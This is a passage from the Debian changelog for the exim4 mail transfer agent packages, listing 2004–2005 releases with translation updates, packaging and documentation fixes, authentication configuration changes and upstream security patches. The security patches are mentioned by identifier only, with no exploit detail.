forum to the people who can fix it after like four months. (mh) Closes: #336979 * Fix minor typos in README.Debian.xml and changelog. (mh) * Add 255.255.255.255 to ignore_target_hosts in dnslookup. (mh) -- Marc Haber Wed, 2 Nov 2005 19:40:22 +0000 exim4 (4.54-1) unstable; urgency=low * new upstream version 4.54. (mh) * fix typo in router/real_local header * add same_domain_copy_routing to router/hubbed_hosts * [update-exim4.conf.8] false friend: s/sensible/sensitive/. Thanks to Ross Boylan. (am) Closes: #330975 * modify broken outlook express 4 authenticator so that it only advertises on encrypted connections, as the other plaintext authenticators do. Thanks again, Fred Viles. (mh) * update-exim4.conf.8: alphabetically sort REPLACEMENT PATTERNS and CONFIGURATION VARIABLES sections, add documentation for DEBCONFlocal_domainsDEBCONF. Thanks to Ross Boylan. (mh) Closes: #330980 * fix bashism == in init script. Thanks to Adam D. Barratt and Justin Pryzby. (mh) Closes: #331299 -- Marc Haber Tue, 4 Oct 2005 09:59:24 +0000 exim4 (4.53-1) unstable; urgency=low * new upstream version 4.53. (mh) * Fix obviously unfinished sentence in update-exim4.conf.8 documenting dc_local_interfaces. (mh) * Move SMTP authentication docs to README.Debian. (mh) * Adapt reportbug script to be useable from the command line as well, mention this in README.Debian mailing list paragraph. (mh) * Remove /etc/default/exim4 in exim4-config's postrm instead of exim4-base's one, as it is created in exim4-config's postinst. (am) Closes: #325901 * Fix error in README.Debian.xinetd. Thanks to Diego Biurrun. (mh) Closes: #327847 * Fix substitute variable in Japanese (ja) debconf translation. Thanks to Kenshi Muto. (mh) Closes: #329729 * Add lintian override for maintainer-script-needs-depends-on-netbase. We don't need that depends since update-inetd.conf is checked for presence before invocation and that invocation is only optional cleanup. (mh) * add linda override to kill double shlib warning - libgnutls is fully versioned and thus is not a problem. (mh) * add lintian override to kill bashism "local" warning for exim4-config.config and exim4-config.postinst (see #330548). (mh) * add general package blurb to description of the exim4 meta package as well. Thanks to Marc Sherman for pointing this out. (mh) * remove code to escape dashes in the pod2man generated man pages. That code makes the man pages syntactically invalid, we'd rather live with suboptimal rendering (which is a pod2man bug anyway). (mh) * change spacing for rewrite rules in configuration, man page and ue4.conf to ease paragraph filling for the man page. (mh) * re-pack config patches. (mh) -- Marc Haber Wed, 28 Sep 2005 18:34:51 +0000 exim4 (4.52-2) unstable; urgency=low * unpack/pack configs to get clear EDITME patches (mh) * Update ca (Catalan) translation. Thanks to Aleix Badia i Bosch. (mh) Closes: #317429 * Update mk (Macedonian) translation. Thanks to Georgi Stanojevski. (mh) Closes: #320231 * Use certtool from gnutls-bin in cron.daily to re-generate gnutls-params instead of only removing the file and letting exim4 re-generate it at SMTP time after receiving STARTTLS. The maximum runtime of certtool is limited to 2*1800 seconds per default by using timeout.pl by Piotr Roszatycki (checked and beautified by Marc 'HE' Brockschmidt). Add gnutls-bin to exim4-base' Suggests. (am) Closes: #285371 * Build-Depend on libgnutls-dev (from gnutls12) instead of libgnutls11. * Drop compability with debhelper in woody (am): - mv *.templates.master *.templates - update po/POTFILES.in accordingly. - no more manual invocation of po2debconf in debian/rules - use dh_installppp instead of manual dh_installdirs/dh_install. Closes: #212893 - Build-Depends: debhelper (>= 4.1.68) * drop upgly passwd dependency introduced in 4.30-6. (am) * shorten Build-Depends by replacing "libxfoo-dev|xlibs-dev' with just 'libxfoo-dev'. (am) * Do not try to authenticate to smarthost if smarthost offers AUTH LOGIN but passwd.client does not contain a matching entry. (am) Closes: #323565 -- Andreas Metzler Sun, 21 Aug 2005 11:44:27 +0200 exim4 (4.52-1) unstable; urgency=low * new upstream version 4.51. (mh) * adapt 70_remove_exim-users_references * remove 37_gnutlsparams * adapt 36_pcre * adapt 31_eximmanpage * fix package priorities to have them in sync with override again. (mh) * Fix error in nb (Norwegian) translation. Thanks to Helge Hafting. (mh). Closes: #315775 * Standards-Version: 3.6.2, no changes needed. (mh) -- Marc Haber Sat, 2 Jul 2005 06:08:34 +0000 exim4 (4.51-2) unstable; urgency=low * Fix typo in exiwhat.8. (am) Closes: #313246 * Clarify tls_verify_certificates documentation in conf.d/main/03_exim4-config_tlsoptions. Thanks to Wenzhuo Zhang. (mh) * Accept postmaster liberally for relay_to_domains. Thanks to Roderick Schertler. (mh) Closes: #313023 * Improve update-exim4.conf's internal run-parts to warn about ignored files if running in verbose-mode. (am) Closes: #315656 * Make it possible to purge a previously uninstalled exim4-suite if debconf has between removed since. (am) Closes: #315173 - Stop useless sourcing of confmodule in exim4-config.postrm. - Use debconf to ask about trashing the mailqueue if debconf is available, keep the queue otherwise. * exim failed to setup gnutls parameters if the gnutls-param file was missing. This caused TLS breakage. (am) Closes: #315650 -- Andreas Metzler Tue, 28 Jun 2005 19:35:35 +0200 exim4 (4.51-1) unstable; urgency=low * new upstream version 4.51. (mh) * remove 80_upstream_fix-296492 * remove 81_fix-kfreebsd-gnu * remove 82_upstream_fix-299733 * remove 82_upstream_fix_299743 * remove 83_upstream_fix-strangelog * build-depends: replace postgresql-dev with libpq-dev. (mh) * apply patch to EDITME.exim4-heavy.diff from ubuntu for clearer postgresql build. (mh) * fix wrong dc_other_hostnames statement in manpage. Thanks to Daniel Hermann. (mh) Closes: #311023 * give more directions how to use /etc/exim4/exim4.conf. (mh) * Fix duplicated server_advertise_condition line in login_saslauth_server. Thanks to Rich Aycock. (mh) Closes: #311906 * Conditional restarting the daemon in exim4-config.config now checks for DEBCONF_RECONFIGURE=1 instead of (mis)using an internal debconf-template. (am) * Documentation Improvements for update-exim4.conf.8, exim4.conf.template and 01_exim4-config_listmacrosdefs and README.Debian. Thanks to Ross Boylan. (am/mh) * New translation: et (Estonian) by Siim Põder. (mh) Closes: #312474 -- Marc Haber Fri, 10 Jun 2005 18:57:03 +0000 exim4 (4.50-8) unstable; urgency=low * integrate TLS docs in README.Debian, remove README.TLS. Thanks to Sam Morris. (mh) Closes: #310771 -- Marc Haber Fri, 27 May 2005 07:57:14 +0000 exim4 (4.50-7) unstable; urgency=low * Documentation Only Fixes - Fix grammar error in README.system_aliases. Thanks to Andreas Barth on IRC. (mh) - Optimize unencrypted authentication docs. Thanks to Drew Parsons. (mh) Closes: #305443 - Clarify dc_smarthost host list processing in update-exim4.conf.8. (mh) Closes: #307370 - Clarify split-config description in README.Debian. Thanks to Luc Saffre. (mh) - Fix a typo in README.Debian-accountname, thanks to Brett Parker. (mh) - Fix an issue in the exim manpage creating the illusion that whitespace is allowed between -d and its options. Thanks to Greg Kochanski. (mh) Closes: #309174 - Start re-work of README.Debian FAQ. - Add "should -config depend on -base" question to README.Debian FAQ. - Link README.Debian to -daemon-light and -daemon-heavy, include a copy of README.Debian in -config. Thanks to Daniel Maier. (mh) Closes: #310118 * Translations - Update: cy (Welsh) by Dafydd Harries. (mh) Closes: #306349 - New: vi (Vietnamese) by Clytie Siddall. (mh) Closes: #306613 - Fix typos in pt.po (Thanks, Miguel Figueire) (am) Closes: #310057 * Configuration Clarification - move the regexps in the local part checks to macros, adapt docs. Thanks to Adam M. Costello. (mh) Closes: #306094 * Bug Fixes - preserve escape sequences like '\\N' in /etc/exim4/update-exim4.conf.conf: - use awk instead of sed in exim4-config.postinst (Thanks, Barry Kitson). - use printf '%s\n' "$foo" instead of echo "$foo". (echo in dash would swallow the second backslash) - actually making this work requires changes in debconf, too, see #306134. - (Closes: #305957) (am) - apply upstream patch from http://www.exim.org/mail-archives/exim-users/Week-of-Mon-20050425/msg00035.html in some circumstances, exim writes parts of /etc/passwd and/or /etc/group to the reject log. This scares people. (mh) - apply upstream patch from http://www.exim.org/mail-archives/exim-dev/2005-April/msg00012.html to only try SASL mechanisms that are actually specified in the configurations. Thanks to Juergen Kreileder. (mh) Closes: #299743 - Build against libmysqlclient12-dev instead of libmysqlclient10-dev. (am) Closes: #306970 - As "mail sent by smarthost; no local mail" aka satellite requires setting dc_readhost always ask this question. (am) Closes: #304838 - Make nonsplit-config read /etc/exim4/exim4.conf.localmacros before /etc/exim4/exim4.conf.template to allow macros here as well. (mh) - Make it clear that "broken debconf" warning is issued by exim4-config.postinst - Make sure that "generated, do not touch" disclaimer in /var/lib/exim4/config.autogenerated always appears - [exim4-config] As the.config script stores answers in debconf's db and the postinst actually generates configurations files from these values restarting the daemon on dpkg-reconfigure has to be done in postinst. (am) Closes: #310703 -- Marc Haber Thu, 26 May 2005 17:47:24 +0000 exim4 (4.50-6) unstable; urgency=low * fix some errors in update-exim4.conf(8) manpage. (am) * more macros in config. (mh) * Apply upstream fix: $primary_hostname is now expanded in cyrus_sasl authenticator. Thanks to Juergen Kreileder, and of course Philip Hazel. (mh) Closes: 299733 * fix conftype none missing "| \" bug, again. Thanks to Andrew Nimmo and Gabriel L. Briones III. (mh) Closes: 303351. * The upstream fix for #296492 sometimes causes an endless loop. Update patch with correction from Philip's commit, revision 1.10. (mh) * Document real_local router. (mh) * Add instructions about how to use inetd. Thanks to Ryan Underwood. (mh) Closes: #304436 * Fix wrong file header in 100_exim4-config_domain_literal. (mh) * Fix bad english in 01_exim4-config_listmacrosdefs. (mh) * conf.d/main/02_exim4-config_options: Remove macro effort for options that we leave at their default by default anyway, re-commenting them for reference. (am) * Allow cleartext client AUTH PLAIN and AUTH LOGIN by setting a macro. (mh) * Update information in README.SMTP-AUTH. (mh) -- Marc Haber Sun, 17 Apr 2005 19:10:26 +0000 exim4 (4.50-5) unstable; urgency=low * move exim4-config-simple and exim4-config-medium from the main source package to keep them from being released. * document the fact that the check done by update-exim4.conf does not detect all possible errors and fails with errors that are inside expanded items in the config file. Thanks to Marc Sherman. (mh) Closes: 286721 * Add examples for cyrus_sasl to conf.d/auth/30_exim4-config_examples. Thanks to Juergen Kreileder. (mh) Closes: #299732 * remove --dry-run from 10_daemon_close_fds.dpatch so that failures to patch cause failure. Thanks to Gergely Nagy, and apologies for blaming it on dpatch (see #297670). (mh) * remove ACL example file, incorporate DNSBL examples (without actual DNSBL domains) into main config. The example file hasn't been updated in ages, and the main config file has become quite sophisticated by itself. (mh) * add example authenticators for courier authdaemon. (mh) * have exim4-base recommend psmisc. Thanks to Thiemo Seufer. (mh) Closes: #299858 * apply upstream patch fixing fallback handling. Thanks to Laurent Fousse. (mh) Closes: #296492 * add patch to allow building on kfreebsd-gnu. Thanks to Robert Millan. (mh) Closes: #300967 * remove 10_daemon_close_fds since this might close FDs which might be used by other libraries such as libnss-ldap. Thanks to Antonio Kanouras for reporting and testing, and to Florian Weimer for debugging. To avoid #297607 from happening again, use db_stop in exim4-config.config and coordinate with the d-i team. Thanks to Frans Pop for testing. (mh) Closes: #299051 * make pidfile paths in init script variables. (mh) * Update bs (Bosnian) debconf templates. Thanks to Safir Secerovic. (mh) Closes: #301940 * Fix update-exim4.conf to actually remove the DEBCONF stuff from configuration. Thanks to Jason Spiro. (mh) * correctly translate an empty debconf option visiblename to an _unset_ qualify_domain, not a qualify_domain set to the empty string. Thanks to Miquel van Smoorenburg. (mh) Closes: #302060 * update-exim4.conf ignored the setting of dc_use_split_config and always used the data from split config for conftype none. (am) * Document #301988 (base-config) in README.Debian to offer an explanation for a long delay restarting exim right after Debian installation. (mh) * Fix exim4-config.NEWS and exim4-config.postinst, documenting the mailname change there. This should act as a heads-up to people who do funky things with their ue4.conf.conf which might overwrite the fixup intrduced by the maintainer script. Thanks to Vincent Lefevre. (mh) Closes: #301906 * Make Maildir location configurable via exim macro. Thanks to Frederic Lehobey. (mh) Closes: #302215 * pull update-exim4.conf.conf file name in shell variables * liberally use .ifdef in conf.d files which changed in this release anyway. This is part of the process to fix #297603. (mh) * Adapt formatting policy to conf.d files which were changed. (mh) * Improve on Debconf documentation in update-exim4.conf.conf and the configuration templates. This partly addresses #289959. (mh) * re-work ue4.conf man page, also addressing #289959. (mh) * add a comment about caseless postmaster to conf.d/router/400_exim4-config_system_aliases. (mh) * print script name and parameters when debugging. (mh) * update-exim4.conf now gives a better error message if ue4.conf.conf does not exist. (mh) * ue4.conf.template: If a relative output path is given, actually put the file there and not in a path relative to /etc/exim4/conf.d. (mh) -- Marc Haber Sun, 3 Apr 2005 07:20:17 +0000 exim4 (4.50-4) unstable; urgency=low * fix 10_daemon_close_fds.dpatch to actually apply again. Sheesh. Thanks to Joey Hess. (mh) Closes: #297607 -- Marc Haber Wed, 2 Mar 2005 07:38:52 +0000 exim4 (4.50-3) unstable; urgency=low * actually enable dlopen patch, show this in package descriptions. Thanks to Andrej KOLESNIKOV. (mh) Closes: #297282 * Have exim4-config conflict with -daemon (<<4.50), as we use submission/sender_retain which is not supported by earlier daemons. Thanks to Echo Nolan. (mh) Closes: #297501 -- Marc Haber Tue, 1 Mar 2005 06:45:26 +0000 exim4 (4.50-2) unstable; urgency=low * now use WITH_OLD_DEMIME as discussed on pkg-exim4-devel. (mh) * postinst: add "This is a Debian specific file" to ue4.c.c. (mh) * fix exim.8 manpage to point to exim4 instead of exim. (mh) Closes: #296864 * fix update-exim4.conf.8 man page to correctly document that multiple smarthosts are supported and non-SMTP ports are not. Thanks to Dan Jacobson. (mh) Closes: #283560 * Add --output option to update-exim4.conf.template. Thanks to Marc Sherman. (mh/am) Closes: #296597 * Compile with cyrus_sasl authentication mechanism, add libsasl2-dev to Build-Depends. Thanks to Sean Middleditch and Gergely Risko. (mh) Closes: #296203, #292906. * document that dc_localdelivery does not have a corresponding Debconf option. * Introduce ue4c_comments for /etc/exim4/update-exim4.conf.conf to set default for keepcomments/removecomments from the config file. Thanks to Greg Folkert. (mh) Closes: #295735 * Use "control = submission/sender_retain" to fixup relayed messags instead of only adding a Message-ID with a warn-statement. (am) Closes: #285235 * Add force-stop to the init script. Thanks to Jari Aalto. (mh) Closes: 271686 * tighten local parts checks. Thanks to Jari Aalto. (mh) Closes: #273302 -- Marc Haber Sun, 27 Feb 2005 16:33:05 +0000 exim4 (4.50-1) experimental; urgency=low * new upstream version * kill exiscan patch as it is now included upstream * deliver configuration which will compile daemon-heavy with the built-in exiscan * convert package to svn on svn.debian.org with a debian/-only layout. (mh) * remove 37_kbsd-gnu patch on bug submitter's request (doesn't apply cleanly). (mh) * fix bad German translation of a debconf template. Thanks to Hanno Wagner. (mh) Closes: #291671 * allow option passing to updatex-exim4.conf from init script. Thanks to Stephen Gran. (mh) Closes: #285973 * change commented out example for reverse DNS RCPT check to catch deferrals as well. Thanks to Marc Sherman. (mh) Closes: #291832 * Update ko (Korean) debconf templates. Thanks to Seo Sanghyeon. (mh) Closes: #292607 * Update sq (Albanian) debconf templates. Thanks to Elian Myftiu. (am) Closes: #284529 * New gl (Galician) debconf templates. Thanks to Jacobo Tarrío. (mh) Closes: #295562 * use #!/bin/bash in reportbug script as a quick fix until #294954 is fixed one way or the other in reportbug. * Minor fix to de (German) debconf templates. Thanks to Dennis Stampfer. (mh) Closes: #294815 * add bad hack authenticator to support outlook express 4.xx. (mh) * streamline server authenticator names. (mh) * 60_convert4r4.dpatch: patch convert4r4 to prevent execution of the script without people reading a prominent warning. (mh) * re-work debian/control again, pointing people towards pkg-exim4-users to make upstream a little bit less unhappy. -- Marc Haber Fri, 18 Feb 2005 15:31:12 +0000 exim4 (4.44-2) unstable; urgency=low * re-work debian/control to make lintian happy, make descriptions more orthogonal. (mh) * kill build-conflicts on libperl-dev (=5.8.4-1). (mh) -- Andreas Metzler Thu, 27 Jan 2005 13:45:45 +0100 exim4 (4.44-1) experimental; urgency=low * New upstream bugfix-only release (exiscan-acl 4.44-28). - Fixes eximstats' generation of pie charts by volume. (Closes: #286074) - Reset the locale to "C" after calling embedded Perl. (Closes: #283538) - includes 66_cipherpreferences.dpatch, 66_can2005-0021_can2005-0022.dpatch, 65_tidydb-spool.dpatch, 62_statvfs.dpatch. * Fix (commented) example for AUTH LOGIN with saslauthd (Thanks, Maik Broemme). (Closes: #291205) * tl (Tagalog) translation of debconf templates by eric pareja. (Closes: #291184) * Use db4.2. (Closes: #258311) -- Marc Haber Sun, 23 Jan 2005 15:42:20 +0000 exim4 (4.43-4) unstable; urgency=low * Change update-exim4.conf to again generate a valid return_path (instead of defering any mail to remote systems) if dc_hide_mailname='true'. (Closes: #290954) * Fix typo in changelog and exim4-config's NEWS. * Some changes (most notably changing the interfaces exim listens on) require restarting exim instead of just sending HUP. Change documentation and exim4-config.config accordingly. (Closes: #290945) -- Andreas Metzler Tue, 18 Jan 2005 12:57:58 +0100 exim4 (4.43-3) unstable; urgency=low * Now that 4.44 is released upload 4.43 to unstable. ;-) Merge experimental and unstable changelog. * More lintian overrides. ("X" in eximon4's description has to be capital, and we take care to only use settitle if it is available. * make nullmailer setup and the way we use mailname a lot more sensible, attacking #244095 and #280207: - mailname is not implicitely made a local domain, instead it is listed explicitly in dc_other_hostnames, where users can easily remove it from. (This is basically what postfix does, too.) When upgrading existing installations mailname is automatically added _once_ to dc_other_hostnames, on fresh installations mailname is the default value of dc_other_hostnames. We store the fact that we have added mailname to dc_other_hostnames in $dc_mailname_in_oh in update-exim4.conf.conf. - Make exim work correctly if dc_readhost ("visible, rewritten domain name for local users") ends up as part of local_domain, which happens if the same value is chosen for mailname and dc_readhost. This implemented by new router, hub_user_smarthost. Previously users were required to use something different (my.invalid.domain) for mailname. - Special thanks to Christian Perrier for taking care of the template translation updates. * We did not substitute the current value into the debconf templates with db_subst but showed the old ones from the previous debconf run. * /etc/exim4/email-addresses is ignored now, please use /etc/email-addresses! * Bosnian (bs.po) translation is complete (Thanks Adis Nezirovic). * Includes de.po change suggested in #286525. * One-line fix for incorrect fi.po translation by Kalle Olavi Niemitalo. (Closes: #288930) -- Andreas Metzler Sat, 15 Jan 2005 19:38:16 +0100 exim4 (4.43-2) experimental; urgency=low * Resync against sarge/sid (4.34-10). * Translation updates: - he (Hebrew) by Lior Kaplan (am) (Closes: #281249) * cy (Welsh) translation of debconf templates by Dafydd Harries. (am) (Closes: #282731) * sq (Albanian) translation of debconf templates by Elian Myftiu. (am) (Closes: #284529) * allow arbitrary Sender: and envelope headers in locally submitted messages, no longer force them to be the local account name at the local host name. (mh) * delete /var/spool/exim4/gnutls-params in cron.daily. (mh) (Closes: #224269) * run debian/rules update-mtaconflicts. (mh) * remove outdated info from README.SMTP-AUTH and clarify corresponding comments in configuration file (Closes: #281249). (am) * Add an example for AUTH LOGIN using saslauthd. (Closes: #276450). (am) * exim4-base.cron.daily: Use find | xargs -0r (Closes: #279205). (am) * Document /etc/email-addresses in README.Debian (Closes: #276958) (am). * exim_tidydb did not work properly with split spool directory. (am) * Make exim prefer stronger ciphers. (AES_256 AES_128 3DES ARCFOUR). * Make the prefered local transport (maildir/mailspool) configurable in update-exim4.conf.conf, attacking #250980. Document this, therefore (Closes: #274597) (am) * Move slightly more expensive tests in rcpt ACL further down. (This only changes commented out example code.) (Closes: #267708) * Fix 62_statvfs to work with older versions of dpatch. (Closes: #286302) * Version dpatch build-dependency to safeguard against reintroducing this bug. * In comment point out that using saslauthd for SMTP AUTH requires giving exim privileges to use it. * New patch 66_can2005-0021_can2005-0022.dpatch from http://www.exim.org/mail-archives/exim-users/Week-of-Mon-20050103/msg00028.html fixing two buffer overflows labeled CAN-2005-0021 and CAN-2005-0022 (mh/am). -- Andreas Metzler Thu, 6 Jan 2005 12:33:27 +0100 exim4 (4.43-1) experimental; urgency=low * targeted for experimental since we need unstable to get new 4.34 versions in sarge. unstable upload will happen as soon as t-p-u is in working condition. * New upstream version. (am) (Closes: #274246, #267994) - no more unescaped hyphens in exim.8. (Closes: #262592) - no more warnings in exipick.8 (Closes: #277817) - New option tls_on_connect_ports. (Closes: #265818) - better documentation about differences in configuring for GnuTLS or OpenSSL. (Closes: #241725) - verify = header_sender now respects callout options. (Closes: #260114) - There is now an overall timeout for performing a callout verification. (Closes: #261511) - Less typos in filter.txt. (Closes: #230545) - New ACL: acl_smtp_predata, useful for greylisting. (Closes: #237947) * exiscan patch 4.43-28 (mh) * Use statvsf() instead of statfs(), fixing complete breakage on alpha/ReiserFS (Closes: #280213). Thanks to John Goerzen for finding and debugging this. (am) * Use getconf LFS_CFLAGS instead of hardcoding -D_FILE_OFFSET_BITS=64 to prevent similar bugs. (am) * Translation updates: - tr (Turkish) by Recai Oktas (#281840) (am) * add lintian and linda overrides to get rid of warnings and errors. (mh) * delete debian/files from config-custom, make config-custom's debian/rules delete debian/files on clean. (mh) -- Marc Haber Sun, 21 Nov 2004 19:26:11 +0000 exim4 (4.34-10) unstable; urgency=high * urgency high because this upload fixes two minor security issues. * more documentation for dc_localdelivery in update-exim4.conf.8. * Move slightly more expensive tests in rcpt ACL further down. (This only changes commented out example code.) (Closes: #267708) * Fix 62_statvfs to work with older versions of dpatch. (Closes: #286302) * Version dpatch build-dependency to safeguard against reintroducing this bug. * In comment point out that using saslauthd for SMTP AUTH requires giving exim privileges to use it. * New patch 66_can2005-0021_can2005-0022.dpatch from http://www.exim.org/mail-archives/exim-users/Week-of-Mon-20050103/msg00028.html fixing two buffer overflows labeled CAN-2005-0021 and CAN-2005-0022 (mh/am). -- Andreas Metzler Wed, 5 Jan 2005 10:39:03 +0100 exim4 (4.34-9) unstable; urgency=low * Translation updates: - he (Hebrew) by Lior Kaplan (am) (Closes: #281249) * cy (Welsh) translation of debconf templates by Dafydd Harries. (am) (Closes: #282731) * sq (Albanian) translation of debconf templates by Elian Myftiu. (am) (Closes: #284529) * new patch 64_pipeliningfixup pulled from 4.42. Exim was forgetting that it had advertised PIPELINING for the second and subsequent messages on an SMTP connection. Thanks to Christoph Barbian. (am) (Closes: #283230) * allow arbitrary Sender: and envelope headers in locally submitted messages, no longer force them to be the local account name at the local host name. (mh) * delete /var/spool/exim4/gnutls-params in cron.daily. (mh). * remove outdated info from README.SMTP-AUTH and clarify corresponding comments in configuration file (Closes: #283568) (am). * Add an example for AUTH LOGIN using saslauthd. (Closes: #276450) (am). * exim4-base.cron.daily: Use find | xargs -0r (Closes: #279205) (am). * run debian/rules update-mtaconflicts * Document /etc/email-addresses in README.Debian (Closes: #276958) (am). * exim_tidydb did not work properly with split spool directory. (am) * Make the prefered local transport (maildir/mailspool) configurable in update-exim4.conf.conf, attacking #250980. Document this, therefore (Closes: #274597) (am) -- Andreas Metzler Tue, 7 Dec 2004 12:40:49 +0100 exim4 (4.34-8) unstable; urgency=medium * The real-life-takes-its-toll-release. * Use statvsf() instead of statfs(), fixing complete breakage on alpha/ReiserFS (Closes: #280213). Thanks to John Goerzen for finding and debugging this. * Use getconf LFS_CFLAGS instead of hardcoding -D_FILE_OFFSET_BITS=64 to prevent similar bugs. * Translation updates: - tr (Turkish) by Recai Oktas (Closes: #281840) * new patch 63_nomorecrashongnutlserror pulled from 4.40: "If a server dropped the connection unexpectedly when an Exim client was using GnuTLS and trying to read a response, the client delivery process crashed while trying to generate an error log message." (Closes: #280647) -- Andreas Metzler Sat, 20 Nov 2004 10:52:18 +0100 exim4 (4.34-7) unstable; urgency=low * Update README.Debian.UUCP (thanks, Andreas Barth) (Closes: #271179) * The hack to fix the infinite debconf loop on woody (#246742) broke dpkg-reconfigure. Add an additional [ "reconfigure" != "$1" ] condition to the abort clause. (Closes: #271864) (am) * apply patch fixing Italian debconf translation by Danilo Piazzalunga. (mh) (Closes: #274398) * ro (Romanian) translation of debconf templates by Eddy Petrisor. (mh) (Closes: #275414) * sl (Slovenian) translation of debconf templates by Jure Cuhalev. (mh) (Closes: #275090) * uk (Ukrainian) translation of debconf templates by Eugeniy Meshcheryakov. (mh) (Closes: #273505) * mk (Macedonian) translation of debconf templates by Georgi Stanojevski. (mh) (Closes: #275772) * fix encoding problem in hu.po. Thanks to Christian Perrier. (mh) * Hebrew translation updated. Closes: #277682 (Lior Kaplan) * Norwegian Nynorsk translation fixed (commas removed and replaced by dashes). Closes: #278011 (Christian Perrier) * Fix commas in Macedonian, Polish, Russian translations which broke the Choices list the same way they were in Norwegian Nynorsk (Christian Perrier) * Fix error in README.SMTP-AUTH, thanks Jari Aalto. (Closes: #276448) (am) * Make update-exim4.conf more forgiving, working with files that are missing the final newline. (Closes: #273279) (am) * Use procmail for delivery if /either/ etc/procmailrc or ~/.procmailrc exist. (Closes: #267706) (am) * Shorten overlong template in Catalan (Closes: #277686) (Jordi Mallach) and Brazilian translation (Closes: #278016) (Andre Luis Lopes) -- Andreas Metzler Sun, 7 Nov 2004 19:56:01 +0100 exim4 (4.34-6) unstable; urgency=low * Uploaded to test changes before we break tpu. * zh_TW translation of debconf templates by Tetralet. (Closes: #267524) * bg (Bulgarian) translation of debconf templates by Ognyan Kulev (Closes: #267603) * updated translations: - nl (Dutch) by Bart Cornelis. (Closes: #268168) * remove osirusoft from dnsbl examples. Thanks to Greg Kochanski for noticing. Add dnsbl disclaimer. (mh) (Closes: #269501) * add an example for exim-adduser. (Thanks to Jonas Meurer for the initial idea, the commited version is different, though.) (mh/am) (Closes: #267792) * hr (Croatian) translation of debconf templates by Krunoslav Gernhard (Closes: #270578) * Do not remove the Debian-exim user in "exim4-config.postrm purge". Package dependencies are only effective for packages in status installed, but it is clearly not sane to remove the user until all exim4-packages are purged. e.g. this can completely break logrotate (Closes: #270681). -- Andreas Metzler Sat, 11 Sep 2004 10:29:26 +0200 exim4 (4.34-5) unstable; urgency=low * The let's test the changes before we upload to tpu release. * updated translations: - eu (Basque) by Piarres Beobide Egaña. (Closes: #261912) - ca (Catalan) by Jordi Mallach. (Closes: #264842) * Fix broken permissions (not readable for group/other) in upstream tarball in clean target (thanks to Steve Langasek for help with find). This fixes "dpkg-buildpackage -rsudo && dpkg-buildpackage -rsudo". (Closes: #262607) * Stop daemon in "exim4-base.postrm remove". - Under specific circumstances apt seems to purge -base before removing the depending package (-daemon), therefore the daemon would not be stopped. (Closes: #261994) * Build against libgnutls11-dev. (Closes: #263665) -- Andreas Metzler Wed, 11 Aug 2004 09:17:35 +0200 exim4 (4.34-4) unstable; urgency=high * Urgency high because upgrades from woody were broken. * Exim4 triggers a bug in woody's debconf. - With dialog frontend, invoked by dpkg-preconfigure you are stuck in a loop, always being asked the same two questions (split config, and basic configtype) again and again until you give up and choose split_config=yes although being discouraged from doing so. I am working around this by making the config-script abort if debconf is old and we are running in preconfigure mode. (Thanks to Dan Weber, Adrian Bunk and whoever else wasted brainpower on this.) (Closes: #246742) (am). * Arabic (ar.po) translation of debconf templates by the translation team of Arabeyes.org (Abdulaziz Al-Arfaj). (Closes: #261014) * Change maintainer address to a mailinglist, add myself to uploaders (am) * Quote ${dc_mailname} in exim4-config.config. (am) * Fix grammar error in the original English templates (found by Adam D. Barratt ages ago). Duplicate fix in .po files.(am) * Typo/thinko in exim4-config (two 35-clauses) prevented showing a (unimportant) question for satellite config. Thanks to Fabio Massimo Di Nitto for finding this. -- Andreas Metzler Tue, 27 Jul 2004 16:38:54 +0200 exim4 (4.34-3) unstable; urgency=low * updated translations: - es (Spanish) by Javier Fernández-Sanguino Peña (Closes: #251987). Also shorten overlong string. (Closes: #251316) - tr (Turkish) by Recai Oktas, fixing overlong translations. (Closes: #251932) - de (German) corrected and scrutinized by Helge Kreutzmann. (Closes: #254038) - ru (Russian), too long templates shortened by Dmitry Beloglazov. (Assuming I read Last-Translator correctly) (Closes: #259148) * Hebrew (he.po) translation of debconf templates by Lior Kaplan. (Closes: #254026, #257508) * introduce .ifndef hacks to allow MESSAGE_SIZE_LIMIT, DCreadhost and DCsmarthost to be changed by the local admin without having to change dpkg-conffiles (mh). * Use byname on the smarthost route list (mh). (Closes: #250367) * Make build-dependency on libldap2-dev unversioned. This was just a paranoia measure and the buildds are using this version anyway (am). * escape some dashes in manpages (am). * Replace the three test -a/-o with &&/|| constructs, and egrep with grep -E (am). * Use symbolic name instead of signal numbers for trap (am). * Add explanation on missing SPF-support to README.Debian (am). * remove MESSAGE_SIZE_LIMIT rule from DATA acl, use global message_size_limit instead. Thanks to Matthias Gärtner for pointing this out to me (mh). * Increase MAX_NAMED_LIST to 32 for daemon-heavy (am). (Closes: #253959) * add a reportbug-script to gather additional information. This way we do not rely on possibly out of date information in debconf (am). (Closes: #255645) * Fix off-by-one error in queryprogram router (am). * set "tls_tempfail_tryclear = false" on remote_smtp_smarthost transport (am, Thanks to Dan Jacobson for the suggestion). (Closes: #253931) -- Andreas Metzler Mon, 19 Jul 2004 15:16:28 +0200 exim4 (4.34-2) unstable; urgency=medium * Urgency medium because CAN-2004-0400 isstill not fixed in testing and because this version gets almost every single translation up to date. * Norwegian nynorsk translation of debconf templates by Håvard Korsvoll. (Closes: #248810) * fix debug_print in remote_smtp_smarthost transport. (Closes: #248922) * For minimal_dns update-exim4.conf(8) now tries to find out the primary hostname itself and hardcodes this value in the generated configuration file. (Closes: #241475,#248854) * updated translations: - ko (Korean) by Changwoo Ryu (Closes: #249026) - it (Italian) by Danilo Piazzalunga - lt (Lithuanian) by Gintautas Miliauskas (Closes: #249269) - ru (Russian) by Nikolai Prokoschenko (Closes: #249298) - es (Spanish) by Javier Fernández-Sanguino Peña - nl (Dutch) by Bart Cornelis - de (German) doublechecked and corrected by Dennis Stampfer (Closes: #249925) - fi (Finnish) by Tapio Lehtonen - nb (Norwegian bokmål) by Klaus Ade Johnstad (Closes: #250344) * New bugfix by upstream: "drop" in the DATA acl did not send 550 but dropped the connection immediately. * add a debian/watch file. * Catalan (ca.po) translation of debconf templates by Aleix Badia i Bosch. (Closes: #250113) * Polish (pl.po) translation of debconf templates by Tomasz Z. Napierala. (Closes: #250908) * Rudimentary (5/58) Bosnian debconf templates translation by Safir Šećerović (Closes: #251137) * Document why exim tries to make an AAAA lookup at startup and how to stop this in README.Debian. (Closes: #243822) * Compile with -fno-strict-aliasing. Exim uses lots of casts that are not allowed: "(char **)(&foo)" where foo is a pointer to unsigned char (sourcecode: CSS(foo) with foo being a uchar), which results in lots of "dereferencing type-punned pointer will break strict-aliasing rules". Thanks to Andrew Suffield for the explanation. * exim4-config uses features introduced in 4.33 - conflict with earlier 